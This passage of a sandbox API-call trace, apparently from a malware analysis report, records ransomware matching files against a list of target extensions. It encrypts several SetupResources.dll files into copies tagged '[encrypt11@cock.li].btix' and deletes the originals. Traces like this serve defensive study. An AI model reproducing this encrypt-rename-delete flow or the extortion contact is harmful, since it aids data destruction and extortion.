returned 1 [0041.944] lstrlenW (lpString=".bz2") returned 4 [0041.944] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0041.944] lstrlenW (lpString=".7z") returned 3 [0041.944] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0041.944] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0041.944] lstrlenW (lpString=".dbf") returned 4 [0041.944] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0041.944] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0041.944] lstrlenW (lpString=".1cd") returned 4 [0041.944] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0041.944] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0041.944] lstrlenW (lpString=".jpg") returned 4 [0041.944] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0041.944] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0041.944] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0041.944] lstrlenW (lpString=".doc") returned 4 [0041.944] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0041.944] lstrlenW (lpString=".docx") returned 5 [0041.944] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0041.944] lstrlenW (lpString=".pdf") returned 4 [0041.945] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0041.945] lstrlenW (lpString=".xls") returned 4 [0041.945] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0041.945] lstrlenW (lpString=".xlsx") returned 5 [0041.945] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0041.945] lstrlenW (lpString=".ppt") returned 4 [0041.945] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0041.945] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0041.945] lstrlenW (lpString=".zip") returned 4 [0041.945] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0041.945] lstrlenW (lpString=".rar") returned 4 [0041.945] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0041.945] lstrlenW (lpString=".bz2") returned 4 [0041.945] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0041.945] lstrlenW (lpString=".7z") returned 3 [0041.945] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0041.945] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0041.945] lstrlenW (lpString=".dbf") returned 4 [0041.945] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0041.945] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0041.945] lstrlenW (lpString=".1cd") returned 4 [0041.945] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0041.945] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0041.945] lstrlenW (lpString=".jpg") returned 4 [0041.945] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0041.945] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0041.945] lstrlenW (lpString="SetupResources.dll") returned 18 [0041.945] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0041.950] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=16728) returned 1 [0041.950] CloseHandle (hObject=0x320) returned 1 [0041.950] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 0x80 [0041.950] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0041.950] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0041.950] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.950] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.950] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0041.987] GetLastError () returned 0x0 [0041.987] ReadFile (in: hFile=0x320, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x4158, lpOverlapped=0x0) returned 1 [0042.005] WriteFile (in: hFile=0x30c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x4160, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x4160, lpOverlapped=0x0) returned 1 [0042.006] ReadFile (in: hFile=0x320, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0042.006] WriteFile (in: hFile=0x30c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xf8, lpOverlapped=0x0) returned 1 [0042.006] SetEndOfFile (hFile=0x30c) returned 1 [0042.006] CloseHandle (hObject=0x30c) returned 1 [0042.007] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.007] SetEndOfFile (hFile=0x320) returned 1 [0042.007] CloseHandle (hObject=0x320) returned 1 [0042.007] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0042.008] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 1 [0042.008] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0042.008] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0042.008] lstrlenW (lpString=".doc") returned 4 [0042.008] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.008] lstrlenW (lpString=".docx") returned 5 [0042.008] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.008] lstrlenW (lpString=".pdf") returned 4 [0042.008] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.008] lstrlenW (lpString=".xls") returned 4 [0042.008] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.008] lstrlenW (lpString=".xlsx") returned 5 [0042.008] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.008] lstrlenW (lpString=".ppt") returned 4 [0042.008] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.008] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0042.008] lstrlenW (lpString=".zip") returned 4 [0042.008] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.008] lstrlenW (lpString=".rar") returned 4 [0042.008] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.008] lstrlenW (lpString=".bz2") returned 4 [0042.008] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.008] lstrlenW (lpString=".7z") returned 3 [0042.009] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.009] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0042.009] lstrlenW (lpString=".dbf") returned 4 [0042.009] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.009] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0042.009] lstrlenW (lpString=".1cd") returned 4 [0042.009] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.009] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0042.009] lstrlenW (lpString=".jpg") returned 4 [0042.009] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.009] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0042.009] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0042.009] lstrlenW (lpString=".doc") returned 4 [0042.009] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.009] lstrlenW (lpString=".docx") returned 5 [0042.009] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.009] lstrlenW (lpString=".pdf") returned 4 [0042.009] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.009] lstrlenW (lpString=".xls") returned 4 [0042.009] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.009] lstrlenW (lpString=".xlsx") returned 5 [0042.009] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.009] lstrlenW (lpString=".ppt") returned 4 [0042.009] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.009] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0042.009] lstrlenW (lpString=".zip") returned 4 [0042.009] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.009] lstrlenW (lpString=".rar") returned 4 [0042.009] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.009] lstrlenW (lpString=".bz2") returned 4 [0042.009] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.009] lstrlenW (lpString=".7z") returned 3 [0042.009] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.009] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0042.009] lstrlenW (lpString=".dbf") returned 4 [0042.010] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0042.010] lstrlenW (lpString=".1cd") returned 4 [0042.010] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0042.010] lstrlenW (lpString=".jpg") returned 4 [0042.010] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.010] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0042.010] lstrlenW (lpString="SetupResources.dll") returned 18 [0042.010] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0042.013] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=18264) returned 1 [0042.014] CloseHandle (hObject=0x30c) returned 1 [0042.014] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 0x80 [0042.014] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0042.014] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0042.014] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.014] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.014] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0042.019] GetLastError () returned 0x0 [0042.019] ReadFile (in: hFile=0x30c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x4758, lpOverlapped=0x0) returned 1 [0042.125] WriteFile (in: hFile=0x318, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x4760, lpOverlapped=0x0) returned 1 [0042.126] ReadFile (in: hFile=0x30c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0042.126] WriteFile (in: hFile=0x318, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xf8, lpOverlapped=0x0) returned 1 [0042.126] SetEndOfFile (hFile=0x318) returned 1 [0042.127] CloseHandle (hObject=0x318) returned 1 [0042.127] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.128] SetEndOfFile (hFile=0x30c) returned 1 [0042.129] CloseHandle (hObject=0x30c) returned 1 [0042.129] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0042.129] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 1 [0042.129] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0042.129] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0042.129] lstrlenW (lpString=".doc") returned 4 [0042.129] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.130] lstrlenW (lpString=".docx") returned 5 [0042.130] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.130] lstrlenW (lpString=".pdf") returned 4 [0042.130] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.130] lstrlenW (lpString=".xls") returned 4 [0042.130] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.130] lstrlenW (lpString=".xlsx") returned 5 [0042.130] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.130] lstrlenW (lpString=".ppt") returned 4 [0042.130] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.130] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0042.130] lstrlenW (lpString=".zip") returned 4 [0042.130] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.130] lstrlenW (lpString=".rar") returned 4 [0042.130] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.130] lstrlenW (lpString=".bz2") returned 4 [0042.130] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.130] lstrlenW (lpString=".7z") returned 3 [0042.130] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.130] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0042.130] lstrlenW (lpString=".dbf") returned 4 [0042.130] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.130] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0042.130] lstrlenW (lpString=".1cd") returned 4 [0042.130] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.130] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0042.130] lstrlenW (lpString=".jpg") returned 4 [0042.131] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0042.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0042.131] lstrlenW (lpString=".doc") returned 4 [0042.131] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.131] lstrlenW (lpString=".docx") returned 5 [0042.131] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.131] lstrlenW (lpString=".pdf") returned 4 [0042.131] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.131] lstrlenW (lpString=".xls") returned 4 [0042.131] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.131] lstrlenW (lpString=".xlsx") returned 5 [0042.131] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.131] lstrlenW (lpString=".ppt") returned 4 [0042.131] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0042.131] lstrlenW (lpString=".zip") returned 4 [0042.131] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.131] lstrlenW (lpString=".rar") returned 4 [0042.131] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.131] lstrlenW (lpString=".bz2") returned 4 [0042.131] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.131] lstrlenW (lpString=".7z") returned 3 [0042.131] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0042.132] lstrlenW (lpString=".dbf") returned 4 [0042.132] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.132] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0042.132] lstrlenW (lpString=".1cd") returned 4 [0042.132] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.132] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0042.132] lstrlenW (lpString=".jpg") returned 4 [0042.132] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.132] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0042.132] lstrlenW (lpString="SetupResources.dll") returned 18 [0042.132] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0042.144] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=15192) returned 1 [0042.144] CloseHandle (hObject=0x30c) returned 1 [0042.144] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 0x80 [0042.144] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0042.144] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0042.144] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.144] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.145] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0042.153] GetLastError () returned 0x0 [0042.153] ReadFile (in: hFile=0x30c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x3b58, lpOverlapped=0x0) returned 1 [0042.274] WriteFile (in: hFile=0x2d8, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x3b60, lpOverlapped=0x0) returned 1 [0042.277] ReadFile (in: hFile=0x30c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0042.277] WriteFile (in: hFile=0x2d8, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xf8, lpOverlapped=0x0) returned 1 [0042.278] SetEndOfFile (hFile=0x2d8) returned 1 [0042.278] CloseHandle (hObject=0x2d8) returned 1 [0042.279] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.279] SetEndOfFile (hFile=0x30c) returned 1 [0042.280] CloseHandle (hObject=0x30c) returned 1 [0042.280] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0042.281] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 1 [0042.281] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0042.281] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0042.281] lstrlenW (lpString=".doc") returned 4 [0042.281] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.281] lstrlenW (lpString=".docx") returned 5 [0042.281] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.281] lstrlenW (lpString=".pdf") returned 4 [0042.281] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.281] lstrlenW (lpString=".xls") returned 4 [0042.281] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.281] lstrlenW (lpString=".xlsx") returned 5 [0042.281] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.281] lstrlenW (lpString=".ppt") returned 4 [0042.281] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.281] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0042.281] lstrlenW (lpString=".zip") returned 4 [0042.281] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.282] lstrlenW (lpString=".rar") returned 4 [0042.282] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.282] lstrlenW (lpString=".bz2") returned 4 [0042.282] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.282] lstrlenW (lpString=".7z") returned 3 [0042.282] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.282] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0042.282] lstrlenW (lpString=".dbf") returned 4 [0042.282] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.282] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0042.282] lstrlenW (lpString=".1cd") returned 4 [0042.282] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.282] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0042.282] lstrlenW (lpString=".jpg") returned 4 [0042.282] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.282] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0042.282] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0042.282] lstrlenW (lpString=".doc") returned 4 [0042.282] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.282] lstrlenW (lpString=".docx") returned 5 [0042.282] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.282] lstrlenW (lpString=".pdf") returned 4 [0042.282] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.282] lstrlenW (lpString=".xls") returned 4 [0042.282] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.282] lstrlenW (lpString=".xlsx") returned 5 [0042.283] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.283] lstrlenW (lpString=".ppt") returned 4 [0042.283] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0042.283] lstrlenW (lpString=".zip") returned 4 [0042.283] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.283] lstrlenW (lpString=".rar") returned 4 [0042.283] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.283] lstrlenW (lpString=".bz2") returned 4 [0042.283] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.283] lstrlenW (lpString=".7z") returned 3 [0042.283] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0042.283] lstrlenW (lpString=".dbf") returned 4 [0042.283] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0042.283] lstrlenW (lpString=".1cd") returned 4 [0042.283] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0042.283] lstrlenW (lpString=".jpg") returned 4 [0042.283] 